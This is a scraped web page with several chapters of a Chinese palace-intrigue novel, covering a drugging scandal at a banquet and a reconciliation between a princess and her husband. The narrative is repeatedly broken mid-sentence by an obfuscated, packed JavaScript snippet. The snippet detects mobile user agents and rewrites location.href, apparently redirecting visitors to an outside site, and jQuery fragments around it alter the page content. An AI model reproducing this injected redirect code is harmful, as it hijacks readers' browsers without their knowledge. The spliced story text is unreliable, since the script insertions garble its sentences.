皮劫逻眼珠一转,忙道:“成王殿下,别的不说,礼王殿下的安危乃是重中之重,依下官看还是赶紧派人上去看看吧!” 成王刚要拒绝,却听一旁的铁风道:“王爷,楼上动静不小,不知刺客是否还有同伙,要不要属下去皇城司调兵?” 成王皱了皱眉,“这点小事何须调兵……” “成王殿下说的对,咱们这么多人,难道还怕几个小小刺客不成?” 皮劫逻朝身旁护卫一摆手,大声道:“你们几人速和大辉侍卫一同去楼上看看。” 夏云骁亦道:“本王子也会些武艺,我倒要看看,是什么样的刺客敢来偷袭芙蓉楼!” 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铁风朝成王施了个礼,抽出腰间长刀便往楼上冲;成王稳了稳心神,这便带着几个侍卫跟在铁风身后小心翼翼的朝楼上走去。 几人上了楼,却见不远处一间客房的门大敞四开,不断有东西从里头被丢了出来,一个女子不断尖叫:“小姐,您怎么样了?您可千万别吓奴婢啊!” “小姐,快将东西放下,您会伤到自己的!” …… 那是若馨贴身丫头的声音。 成王心头一沉,若是若馨真出了什么事,他该如何向舅舅和外租交待? 思及此处他忙带人冲了过去。 柳儿正心急如焚,一转头竟看着成王带人冲了过来,她忙不迭跪倒在地不断叩着头,口中不住哀求道:“王爷,您快救救小姐吧!礼王殿下他、他将小姐给、给……” 成王的心如同被一只手紧紧揪住,愤怒的抬起头朝屋内望去。 第一百八十八章 撞破(二) 芙蓉楼虽是洛阳城最好的楼子,却在客房布置上遵循去繁就简之理。只因不少达官贵人经常在此商要机密之事,为防走漏消息,客房内的摆设皆是一眼便能望到底。 成王一入门,便将床上一丝不挂的二人看了个通通透透! 商廷煜一时恶向胆边生,恨不得拔刀将那可恶的商煦鹏剁碎——他高家的嫡女、分明一朵含苞待放的牡丹花,眼看就要盛开,没想到竟被只自大的蠢猪啃断了根! 若馨的婚事那是高家第一重要之事——外祖父虽权倾朝野,亦有力所不逮之时,唯有若馨嫁得一足以与高家匹敌、却又能在政事上有所襄扶的人家,才能保高氏一族屹立不倒!若馨今日为礼王玷污,无异于砍去高家一条有力的臂膀! 虽说血浓于水,在储君一位上,外祖父从来都是坚定的站在自己这边!而大皇子与自己相争许久,与高家亦是死敌;可今日这桩丑事一出,若馨是无论如何也要入那礼王府了——商煦鹏阴险狠毒,陆氏又得封贵嫔,外祖父惯会趋利避害,一但父皇心意有变、说不定外祖便会弃了自己。 隔着的血脉到底不如一脉同宗相亲! 若高家真反了水,他的实力便要大打折扣;再加上母后愈发欲振乏力,倒时莫要说什么储君之位,只怕他连一个亲王位都保不住! 商煦鹏此举无异于毁了他的前途! 成王越想越气,一个箭步冲上前去、不由分说照着礼王汗湿的后背就是一拳;礼王药劲未退,只觉背上一痛,他火往上壮、回过身一把薅住成王的领子,大声质问道:“商廷煜你个混账羔子,竟敢对皇兄动手,简直反了!” “似你这等卑劣之人也配做本王的皇兄?” 成王愤怒的举起拳,却惊讶的发现礼王双眼处早已一片乌青,两腮也肿的厉害,好似刚刚被什么人打过一样! 难不成是他对若馨施暴时被反伤?! 没听说表妹她练过武啊…… 成王的拳只在空中顿了一顿,随后便重重落在礼王脸上;礼王恼羞成怒,死死拉住成王的衣襟,与之厮打起来…… 一旁的铁风见状不禁傻了眼—— 这、这、这,中招的人怎地便成了礼王?! 他明明看着高家小姐与宁国公一同上的楼,也并未见到宁国公离去,与高小姐苟且之人怎么就成自家主子?! 他转头看了看身旁一众护卫,十分庆幸成王刚刚并未允准北狄和南诏使者一同跟上来,否则场面便再无法收拾了! 铁风趁人不备,狠狠踢了脚只知坐在地上哭泣的柳儿,寒声道:“愣着做什么?还不给你家小姐把衣服穿好,是嫌她丢脸丢的不够?” 柳儿抽抽搭搭道:“我、我没力气了……” 铁风只得俯身将人扶起,压低声音道:“此事还有转圜的余地——此处之人都是成王与礼王的心腹,今日之事二位王爷定然不愿泄露;只要楼下的外邦人不上楼,王爷总有办法遮掩过去……” 柳儿身子止不住发抖,喃喃道:“可他们两个打成那个样子,好似杀父仇人似的,难不成竟愿意联手将此事瞒下?” “王爷们动手为的是脸面,联手压下此事为的事权势,孰轻孰重他二人岂会拎不清?” 铁风轻轻推了柳儿一把,低声嘱咐道:“赶紧将你家小姐带走,只要她不在此处,一切便都好办!” 柳儿闻言这才慢吞吞走上前来,拾起地上凌乱的衣服,轻轻盖住高若馨裸露的身体;刚要将人扶起,却听芙蓉楼外想起整齐划一的脚步声,一人高声叫道:“顺天府和皇城司的人马都到了!刺客就在楼上,你们速速冲上楼去将人捉住,务必要保护好二位皇子的安全!” 铁风心下大骇:顺天府和皇城司怎么来了?! 若真叫这两方人马冲上楼来,便是二位王爷联手也再难收场! 思及此处他快步跑到扭打在一处的二人面前,手一伸便将两人分开,口中大声道:“二位王爷快住手,顺天府和皇城司的人已到了楼外,若是真叫他们闯了进来,您二位的脸可就丢尽了!” 成王喘着粗气,率先镇定下来—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773339|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人说的不错,今日看到此事之人都在面前,大不了事后将所有人灭口,若馨的名声就还保得住。 只要先将此事糊弄过去,旁的事待他回去和外祖商议过后再来处置也不迟! 思及此处他忙朝身后一众侍卫道:“你们去外头将两部人马拦下,就说是本王的命令,此处并没什么刺客……” 话音未落,却听楼下传来南诏使者皮劫逻直率的声音—— “呦,这不是宁国公身旁的护卫吗?宁国公回府去照看长公主,留你在此作甚?” “南诏使者好记性,我家国公爷说了,他这个东道主虽走了,二位王爷和两国光使者却不能不照顾好!小人本在外头听喝,谁料竟听闻楼子里混进了刺客!国公爷临走时特意吩咐过,今日是咱家夫人张罗的宴席,若客人们在席面上出了什么意外,便都成了咱家夫人的罪过!” “今日的贵客们若是被那些个刺客伤到了,国公府断断吃罪不起。小人唯恐芙蓉楼人手不够,这才特意请来顺天府和皇城司的诸位将官前来相助。公子放心,有车骑将军在此,保管跑不了一个贼人!” 成王闻言一愣,听声音楼下来的居然是赵元婴身边那名叫春山的贴身护卫! 他竟叫来了车骑将军张子寿? 这该如何收场…… 还未等成王想出办法,便听楼下那兴致昂扬的南诏使者又扯着嗓子道:“我等也不好白吃长公主的宴,不如此番就帮着你们捉拿刺客以表心意,不知大王子意下如何?” “就按公子说的办!” “来人,给我往楼上冲!” …… 听着楼下传来的阵阵沉重脚步声,成王便知道,一切都完了—— “哎呦呦,不是说有刺客吗?这一男一女、赤身露体的,究竟是个什么情况?” 皮劫逻以扇遮面,待看到夏锦澜带着侍女走上前来抻着脖子往屋里看,忙不迭用手中扇遮住她的眼睛,轻声道:“公主莫看!里头场面太过腌臜,您小心长针眼!” 第一百八十九章 撞破(三) “都站在门口作甚?” 春山引着车骑将军张子寿走上楼来,眼见一帮人堆在门口,不由怪道:“刺客捉住了?我瞧瞧究竟是何人……哎呦!” 春山探出的脖子猛地一缩,捂着眼睛咕哝道:“感情是王爷找个了女子暖床……” “究竟是谁胡乱吆喝,竟连累的两府差役和军士们白走了这一趟!” 他一边嘀咕一边去推张子寿,口中道:“对不住、对不住!将军大人,此事是一场误会,并没有什么刺客,不过是礼王殿下在此处寻开心而已……” 张子寿一把推开他,冷冷道:“你说误会就误会,叫本将军如何与手下兵卒交待?!” “再说,” 他朝屋内一指,“你好好瞧瞧礼王和成王的脸,二位殿下皆受了伤,若不是被刺客偷袭、你要做何解释?” 皮劫逻将右眼眯成一条缝,透过扇缘朝屋内看去,一瞬间似是想到了什么,忙不迭大声道:“难道是刺客扮成美人,借故与礼王殿下亲近,好乘机行刺?!” 张子寿将眉一凝,沉声喝道:“来人,给我将那女子拖出来,送入皇城司监牢!” 几名士兵闯入屋内,不由分说将榻上衣衫不整的女子扯下来、粗暴的朝外拖。 柳儿见状忙扑过去将仿佛陷入昏迷的女子牢牢护在怀中,厉声喝道:“你们要做什么?不许用你们的脏手碰我家小姐……” “那不是丞相府小姐的贴身丫头,柳儿吗?她怎会在此?” 晨露杏眼圆睁,诧异道:“她说那女刺客是他家小姐,难不成她怀中人居然是……” “高家小姐是刺客!” 春山闻言诚惶诚恐道:“真真不得了,高家嫡女居然成了刺客!高相莫不是生出了不臣之心,这才命自家孙女来勾引礼王…… 成王一凛,厉声喝道:“胡说什么!高相怎么会有不臣之心?本王告诉你,若馨她并非刺客……” 夏云骁阴郁刻毒的眼神在高若馨和礼王面上不断逡巡,忽的寒声道:“既然不是行刺那高若馨来此作甚?她刚刚不是还求着宁国公将她送回楼上休息吗?怎么转眼间便和礼王殿下混在一处了?!” 张子寿将手中刀插入刀鞘,冷冷道:“一男一女衣衫不整的共处一室,做出这样丑事,还被众人瞧见……只可惜堂堂宰相之女,竟这般不知检点!” 柳儿的心一颤,忙道:“车骑将军慎言,我家小姐她、她并非……” “这么多双眼睛都看他二人行苟且之事,成王殿下尚不敢遮掩、就凭你个贱婢难道还想颠倒黑白不成?” 张子寿连正眼都不看钗退鬓松、娇弱无力高若馨,只朝成王道:“高家之女不知检点、与人厮混被人撞破;有道是长兄如父,如今我父远在幽州,今日我便做一回主——舍弟绝不会娶一不贞女子为妻,两家的婚事往后休要再提!” 亲事既已无法挽回,好歹要保一保表妹和高家的名声! 思及此处成王忙道:“子寿将军,你我两家的误会他日本王必亲自登门谢罪……” “不必了!” 张子寿肃然转身,冷冷道:“这桩亲事我本就不看好,是姑姑非要将自己的女儿嫁过来、好让张家为她遮羞;高若馨虽是我表妹,却毫无廉耻心之心,若张家真娶进这么一位,家父的脸可就丢光了!” 他横了眼面色赧然的成王,忽的高声道:“高若馨**无耻,之前她设下毒计戕害长公主,连累的舍弟差点丢了性命;如今她与人奔淫,若不是恰巧被撞破、舍弟岂不成个了遭人耻笑的活王八?高若馨心肠歹毒至极,高相亦难逃教养不善之责!” “张家不屑与高家为伍,从今后你我两家恩断义绝!” 说着大踏步离去。 柳儿的身子抖个不停——车骑将军这番话便是将小姐的名声全都毁了! 成王看着张子寿决绝的背影,心头掀起滔天巨浪! 外祖虽权倾朝野,但在军中支持者甚少;与幽州刺史联姻,乃是高家头一回与掌一州兵权的武将联手。如今张子寿竟当着众人的面宣布与高家**,这便意味着往后外祖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782136|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在用兵一事上再无助力了! 好好一桩婚事,全让商煦鹏这个混账给毁了! 春山摸了摸鼻子,讪讪道:“多亏国公爷先从后门离开了,要不然今日可就说不清了……” “既然没有刺客,我便回去给国公爷和长公主复命了;诸位顺天府的兄弟们便也撤了吧……” 他一边走一边朝身旁之人摇头叹息道:“还说什么世家贵女,依我看连个普通娼妓也比她有脸面些!今日我家夫人宴请外国使者,谁料她竟在使者面前行般苟且之事,还让人堵在屋里……唉、这不是将我大辉皇室的脸面扯下来丢在地上、任人践踏吗?” “好个丢人现眼的玩意儿……” 听着他口中的风凉话,成王无法反驳。只得死死攥着拳。 夏锦澜见状扯了扯夏云骁的袖子,低声道:“大王兄,咱们也回去吧,再待下去我怕要长针眼了……” 夏云骁死死瞪了礼王一眼——亏他之前还想将锦澜嫁给礼王为妃,没想到此人竟是见色忘义之徒! 似这等为女色所惑之人,怎么能指望他与自己一同筹谋宏图霸业?! “恭喜礼王殿下得遇佳人,既如此本王子便先告辞了!” 见药性还未褪去的礼王毫无反应,唯铁风心头一凛,忙不迭道:“大王子您别走啊……” 见夏云骁头也不回的离去,皮劫逻摇了摇扇,轻声道:“成王殿下今夜只怕要焦头烂额了!下官就不给您添乱了,这便告辞回驿馆了!” 晨露扶着夏锦澜走在最后,闻言便道:“奴婢瞧着刚刚公子与成王聊得颇为投缘,怎地不多留一会呢?” 成王本想挽留,却听一贯温和的皮劫逻语带不屑道—— “哼,我南诏国虽小、朝中官员却皆是有底线之辈;而大辉帝国虽大,皇室子孙却皆是这等荒淫无耻之徒,这等竖子不足与谋!” 成王子出生起从未受过这等**,当即朝身旁侍卫道:“将这丫头扔进马车,送回相府;至于大皇兄,本王要亲自押着他去见父皇!” 第一百九十章 患得患失 “公主殿下,沛之他如何了?” 商无忧看了看一脸焦急的裴振斐,轻声道:“你担心什么?有本宫在此,他死不了!” 张济闻言忙道:“此言差矣,国公爷虽无性命之忧,可那药钩得他五内俱焚,若是不及时纾解,也是要伤身的!” 裴振斐瞥了商无忧一眼,喃喃道:“这有什么难的,长公主是沛之之妻,夫君有难,您这个做妻子的自然要为夫分忧才是……” “哦?!” 商无忧的尾音拉长,语气中满是警告意味:“裴三少竟管起本宫的家事来,难不成是对本宫有所不满?” 不知怎的,裴振斐又回想起那日长公主动刀为赵元吉治伤的模样,忽的打了个哆嗦;可想到好友此时情况,也只得强撑着一口气、跟梗着脖子道:“我、我也不是这个意思,可沛之他、他总不能被憋死吧?” 他忧心忡忡的看了看默然不语的商无忧,小心翼翼的试探道:“若殿下实在不愿,我可以到外头去寻一干净的烟花女子,来为沛之纾解……” 裴振斐此话刚出口,商无忧便一个眼刀甩了过去,他只觉脖子后头升起一阵寒气,忙不迭道:“我、我也是担心沛之,再这么下去人可就要憋坏了。” “卫真,给本宫将这纨绔子弟丢出门去!” 见那沉默寡言的壮汉依言走了上来,裴振斐心下大骇,“公主容禀,我并非有心冒犯,实在是关心则乱……” “还不速速丢出去!” 商无忧将眼一瞪,裴振斐立马灭了火,只得可怜兮兮的任由卫真提着衣领将他往外拖去,口中却依依不舍道:“沛之啊沛之,不是兄弟我见死不救,实在是长公主她太过凶悍……” 张济默了半晌,这才道:“二公子中的那药十分霸道,他可是拖不得了!” 商无忧横了他一眼,“怎么,你也想被丢出去?” “长公主吓不倒老朽,老国公去前曾说过要将两位少爷的性命交到老朽手中,老朽决不能眼睁睁看着少爷受苦!” “那你可有解他痛苦之法?” “那是药、不是毒,您叫老朽如何解得?!” “既无法解,还在此处聒噪什么?!姑姑,送客吧!” 张济还要说话,却见长公主身旁的霜姑姑默然上前,朝他做了个请的手势;张济这才狠狠跺了跺脚,“就没见过你这般为人妇的,竟眼睁睁看着自家夫君受苦,也不知究竟是什么心肠!” “罢、罢!老夫这就去求大爷来救人!” 待那老者远去,霜姑姑这才温声道:“说起来这事也怪不到国公爷身上,都是那无耻的高若馨搞的鬼;国公爷中了秘药却依旧勉励支撑,没有着了那高若馨的道、使长公主陷入两难之地,依老奴看殿下还是该帮一帮国公爷……” “姑姑叫我怎么帮?我早就与他说过那高若馨乃是蛇蝎心肠,是他自己不加提防、误饮了加药的酒,我已用血将那药中的伤身之物尽数去除,姑姑还要我如何?难不成真如那裴振斐所言,替他寻一烟花女子来‘纾解’?” 商无忧烦躁的将袖一摆,“那才是丢人丢到了姥姥家!” 霜姑姑认真瞧了瞧自家公主,这才苦口婆心道:“殿下是我从小看着长大的,老奴说句僭越的话,若是皇后娘娘还在、定是盼着公主与驸马夫妇和顺。虽说公主常怀复仇之心,可说到底也是与宁国公的婚事才将您救出了永巷那处小院。” “虽说这一桩婚事您与国公是各取所需,可老奴这些日子瞧着,国公爷竟是个值得托付终身之人。” 霜姑姑拉过商无忧的手,柔声道:“他待殿下既恭谨又谦和,从殿下的饮食到衣着竟处处透着用心;府中女眷也待殿下格外亲厚,细细算来,您的衣服、鞋袜竟多半出自夫人和小姐们之手。” “奴婢看得出,您是真心想要一个家;您既如此喜欢赵家人,为何不敞开心扉、接纳宁国公呢?” 商无忧闻言怔怔出神。 她怎么会不想要家人呢?! 母后在时,她曾以为自己便是这世上最幸福的人;直到洛阳宫变,她才看明白,皇室中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霜姑姑忙不迭跑了出去,不多时便拿着止血药跑了回来;商无忧一把接过药瓶、将药粉迅速撒在了赵元婴左臂上。口中急急道:“我都答应裴家三少去外头寻人了,你只需再稍候片刻就好、实在无需自戕!” 赵元婴的喉咙粗嘎的如同被砂纸打磨过一般,一手捂着脸低声喘息道:“这药、实在霸道……若不借着划伤自己保持清醒,我只怕就要变成毫无理智的禽兽了……” 商无忧长叹一声,“我也知药性难捱,我刚刚与裴三少和张伯所说不过是一时激愤;你我虽有夫妻之名却无夫妻之实,你今日遭受这般苦楚我既不能救,又怎会阻止你去外头寻人进来……” “原来在殿下心中,元婴便是这样的无耻之徒!” 赵元婴忍着煎熬一把挥开商无忧的手,低声道:“既然阿斐一会儿便会将人送来,元婴这边便无需殿下费心了,殿下身子刚好些,还是赶快回去歇着吧……” 商无忧一愣。 他居然生气了?! 赵元婴这人端的是喜怒无常。他平日里对人皆是一副温和面孔,偏会甩脸子给自己瞧;偏她也不知自己究竟是哪句话将人得罪了,赵元婴不明说,话里话外态度依旧恭敬、让人挑不出半死错漏,可眼神和笑容却分明让人身处寒冬、冰冷异常! 她刚刚的话本是为着他考虑,也不知触到了他哪处逆鳞,竟在如此难捱的情势下对自己发难! 念及他此时正受煎熬、左臂又受了伤,商无忧这才强压怒火道:“你划伤自己削弱药性本就是下策,好歹让我为你包扎完伤口,待裴振斐将人送进来我再离开不迟……” 话还未说完,却见赵元婴已将双眼紧闭、将头转向里侧,再不理她! 商无忧何曾这般好声好气哄过人? 见他如此不识抬举,她忽的愤然起身,冷冷道:“既然国公爷不用本宫照顾,本宫这便回去了;你放心,裴三少脚程快的很,保准不出一刻便将个标致美人儿送进来!” “本宫祝国公爷春梦了无痕!” 若不是赵元婴此时头晕脑胀起不来身,真想狠狠咬上这叫人生气的愚钝女子一口! 她就这么迫不及待将自己推向一个烟花女子?! 他知她从未钟情于自己——她替自己在陛下面前求官、主动维护赵家名声,不过是看在二人同仇敌忾、皆身负血海深仇的份上罢了! 虽已是夫妻,可她待兄长和盼儿却比自己亲近、对孩子们比对他更有耐心——兄长重伤、她亲自动刀为兄长疗毒;盼儿受辱、她不惜对使臣动手也要为小姑出气;元宝和玲珑想跟她学武,她甚至不厌其烦的从练气和扎马这种最费工夫的基础术式教起! 可今日她对着自己这不甚中了算计的夫君竟只顾数落责骂。他受了伤也不说劝慰宽导,不仅只顾与他赌气、还非要祝他“春梦了无痕”。 这女人简直没有心! 思及此处赵元婴猛地侧过身,只留给商无忧一个负气又倔强的背影。 “公主要走便走!不过您今日出了这个门,就不要再回来了!” 商无忧闻言一滞,这男人竟跟自己撒泼?! 她胸膛起伏,叉着腰大声道:“走就走,你以为本宫稀罕在这里待着?” …… 门外的余霜扶额长叹! 长公主与宁国公分明是人中龙凤,为何在男女之事上却这般幼稚?! 她深吸了口气、推门而入,先朝着屋内的二人施了个礼,这才道:“国公爷莫气,裴公子赌气走远了,便是老奴现在派人去寻、只怕也寻不见人!” “老奴知道国公爷气殿下不体恤,可殿下是金枝玉叶,从来只有旁人奉承的份儿,却从未主动思索过他人一举一动究竟是何用意;老奴在此倚老卖老劝国公爷一句——国公爷心中所想大可与长公主直说。殿下是个直性子,遇事从不龟缩。国公爷行事只顾旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787989|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敲侧击、以退为进,此举倒是将殿下弄糊涂了。” 赵元婴闻言轻声叹了口气,转过身费力的爬起身来,艰难道:“多谢姑姑提醒,此番确实是元婴唐突了……” 商无忧面色一红,朝着余霜埋怨道:“姑姑这话将本宫说的好似**一般,什么叫本宫从未主动思索过旁人用意?难不成在姑姑眼中,本宫竟是个倨傲跋扈、眼高于顶之人?” 余霜苦笑着摇了摇头,“公主是奴婢看着长大的,您的性子老奴如何不知?殿下虽眼高于顶却从不会漠视人心。八年来殿下在永巷中受尽苦难,早已学会对人生出戒心,殿下的成长让老奴十分欣慰;可于身边之人,殿下还是该多用些心才是!” “宁国公他心悦于殿下,之前曾多次对殿下示好,可殿下为赐婚之事一叶障目,反倒忽视了国公的心意,国公爷今日受了委屈,这才对您动了怒。” 余霜深深看了商无忧一眼,柔声道:“老奴还请殿下心平气和的与国公爷谈上一谈,老奴这就去外头守着,不许人打扰!” 说着她再次朝二人深深福了福身,这才转身出了门。 商无忧呆愣半晌,这才僵硬的转过身,朝榻上的赵元婴道:“你、钟情于我?!” 赵元婴伸手抚了抚汗湿的长发,叹道:“亏你自诩聪慧,我的心连你身旁的姑姑都看得出,你就真的毫无察觉?” 商无忧瞠目结舌,“你、你是什么时候……” “许是第一次见你在九龙池发威的时候;又或者是在你替兄长疗毒、救我赵氏女眷出太庙的时候。” 赵元婴抬眼直直看着她,决定听从霜姑姑的话,将自己的心意一次说个明白。 “殿下待赵家人如亲眷,护我姐们兄弟如手足;新婚夜您一袭白衣惊为天人,司命祭礼您水下一舞动乾!” “那一日您一人一刀、誓斩蛟妖的决绝模样早已深深刻入元婴心中。今日元婴斗胆问一问殿下,你可愿将心交于我?” 第一百九十二章 余生请多指教! 见她愣愣看着自己,赵元婴心头漫起一丝失望:他都将她娶进了门,她竟从未想过做他真正的妻,看来自己这个夫君做的实在是太失败了! “殿下曾许元婴三个心愿,记得吗?殿下一诺千金,这第三个愿望,元婴希望殿下能对我敞开心扉!” 商无忧闻言默然半晌,这才道:“你我的婚事本就是形势所迫——赵元婴,我实话跟你说,本宫命不久矣,你想要的百年好合、相濡以沫,我给不起!” 赵元婴叹道:“殿下这么说,倒唤起元婴一丝悔意——长公主的大名京都城内谁人不知?只可惜我那时太过轻狂,总觉得自己可以如父亲般做个征战便将的大将军,竟从未在男女之事上留过心!若是能如兄长般早些认识殿下,眼下的情况当有不同……” “罢了,还是说眼下吧!” 赵元婴看了看商无忧,轻声道:“殿下的身体状况我早有耳闻,兄长已命人往边境去寻圣手,大辉的医者治不好殿下,他国的名医或许有办法!” 商无忧撇了撇嘴,“我体内的毒已侵入骨髓,便是大罗金仙在世也无药可救了!” “正是因为如此,殿下才该珍惜眼下的日子!” 药性随血液排除体外,体内不在火烧火燎的难过,赵元婴头脑渐渐清明起来,便温声道:“元婴看的出殿下喜欢赵家人,据我所知殿下亦未有钟情的男子,若殿下不嫌弃元婴蠢钝,余下的日子我愿陪在殿下身边!” 商无忧叹了叹了口气,俯身坐在赵元婴床边,轻声道:“我亲眼看着母后惨死、外祖一家背负污名,父皇无情、将我封入永巷之中,昔日围在我身边恭维之人竟都变了脸色。如今我孑然一身,只要还有一口气在,那些辱我、欺我之人,我断断不会放过!” “赵元婴,你有家人和朋友相伴,所求的也不过是个真相罢了——待大仇得报我会向父皇提出与你和离,你何再寻一身子强健、性格温厚的女子为妻,没必要为我一将死之人蹉跎青春!” 赵元婴却一把拉住她的手,温声道:“殿下当知元婴不是冲动之人,殿下非我、怎知我喜欢什么样的女子?” 许是因着药的缘故,他手心的温度烫的吓人,商无忧本能的想要抽回手;谁知微微一动,榻上的赵元婴便“哎呦”了一声,鲜血竟从左臂的伤处渗了出来。 商无忧一惊,只得放弃挣扎。 赵元婴心头一松,这便笑嘻嘻道:“我生平最不喜用温厚来掩盖无能的女子,唯有似殿下这等聪慧又刚强的天之骄女,才是我心头所爱……” 闻得此言,商无忧脸上难得显出一丝赧色,她故作镇静的绷着脸道:“我本就是个疯的,众人皆云我手段狠辣,你若日后犯在我手里,不死也是要脱层皮!” 赵元婴握着她的手温和一笑,“殿下的惩罚元婴甘之如饴。” “赵元婴,你当真想清楚了?” 商无忧收起笑容,带着一丝担忧道:“洛阳宫变的幕后黑手藏得极深,即便我有马鹞子在手也没有十足把能将此人挖出来;陈家和老国公的事,只怕与父皇脱不了干系……” 说罢她抬眼深深看向面前一脸温和的男子,轻声道:“我问你,若最后真是父皇默许朝中人对老国公出手,你待如何?!” 赵元婴面色沉了下来。 这个问题他兄长也问过,也正是如此才会患得患失,迟迟无法正视自己对无忧的感情—— 若皇帝真的……那无忧便是杀父仇人之女! 他实在无法想象自己有朝一日会对她刀剑相向,却无法阻止自己的目光追逐她的身影。 直到司命祭礼那一日,他亲眼看着她被那蛟妖所伤、几乎丢了性命,身子忽的再不受控制、自顾自提剑冲了上去;就在他掉入蛟妖口中、即将逝去光明之际,却终于想通了—— 父辈的仇恨与她何干?! 纵使命运多舛她却依旧渴望着亲情、拼尽全力的回护他的家人;即便知道父亲之死与皇帝脱不了干系,她依旧尽心尽力为自己和兄长提供帮助,对调查出的线索也从未有一丝隐瞒,只这份坦诚便足已让他钦佩!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793699|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 父亲的死与她无关,她无需背负愧疚,而自己亦无需迁怒! 赵元婴轻轻牵起她的至于胸前,温声道:“无论结果如何,我只知你是我的妻——成亲时你特意叫阿斐赶制白色礼服,此举乃是为父亲和祖父守孝。公主乃天命神女,却愿为臣子舍弃皇室尊严,这样的女子祖父和父亲也一定会喜欢!” “殿下谨记,无论结果如何,赵元婴定不相负!” 商无忧愣愣的抬起头,二人相处的点点滴滴不由涌上心头—— 他本对自己抱有戒心。 父皇强按着头逼他娶了疯名在外的自己,他如何能够不怨?! 在加上老国公父子的死…… 她曾想过,他二人相敬如宾就好! 即是同仇敌忾的盟友,又是并肩战斗的伙伴,便是到最后查出父皇他……好在赵元婴并非绝情之人,最好的结果便是一拍两散、各自偏安—— 他不会对她出手,她也不会阻他复仇! 没想到,他竟肯为她放下仇恨! 商无忧一时不知如何应对。 赵元婴见她呆愣如斯,忙道:“莫不是殿下讨厌我?” 商无忧茫然的摇了摇头,“这倒没有……” 赵元婴闻言这才放下心来,柔声道:“祖母说我是个值得托付的好男人,不知殿下可愿一试?” ——“若是皇后娘娘还活着,定是盼着公主能够夫妇和顺……” ——“谲儿,答应母亲,一定要好好活下去!” ——“正是因为如此,殿下才该珍惜眼下的日子!” 商无忧心跳如擂鼓,一把抽出赵元婴手中的柔荑,歪着头道:“试试就试试!吾乃大辉长公主、司命大神选中的天命神女,你当我会怕?” 赵元婴眼光闪闪发亮,柔声道:“既如此,余生还请殿下多多指教!” …… 那一夜国公府并没有什么烟花女子。 唯长公主身旁那个身如磐石的侍卫,无言在洛神轩外枯站一宿。 第一百九十三章 事关重大 夜已深,陆贵嫔睡得正香,忽听掌事宫女朗月在耳旁低声呼唤:“贵嫔娘娘快醒醒,长公主派人来了!” 陆贵嫔睡得深沉,可“长公主”三个字却将她自睡梦中惊醒,她迅速翻身爬了起来,颤声道:“怎么,那丫头又来闹了?” 朗月忙一把拉住她的手,低声安慰道:“娘娘莫怕,长公主没来,是她的贴身侍婢、那个叫做碧萝的丫头;眼下人就在宫外,说是有要事要见娘娘!” “宫门都下钥了,她怎么进来的?” 陆贵嫔的心咚咚的跳,她捂着胸口好一会才缓了过来,苦着脸道:“罢了,那丫头深夜派人来寻本宫,哪会有什么好事?她都嫁人了,怎地还这般胡闹!此处乃是本宫的寝殿,不是她家的后花园!商无忧她想来就来、想走就走,到底有没有将本宫放在眼里?!” “她还当本宫是先皇后跟前儿曲意逢迎的小小昭媛吗?” 朗月忙倒了杯温水递了过去,这才小心翼翼道:“娘娘息怒,奴婢瞧着那碧萝神色紧张,好似真有什么大事,要不娘娘还是见她一见?” 陆贵嫔摇了摇头,漠然道:“上一回长公主逼着我挪了淑妃的车驾给她用,陛下那里虽没说什么,可本宫却彻底被淑妃恨上了;如今她又派贴身侍女来见我,说不定又是要本宫帮着她做什么出格之事。我与她本就没什么情分,不过是看在先皇后养育过煦鹏的份上才肯关照一二。可你想想,上回在宫宴上她是如何报答本宫的?!” 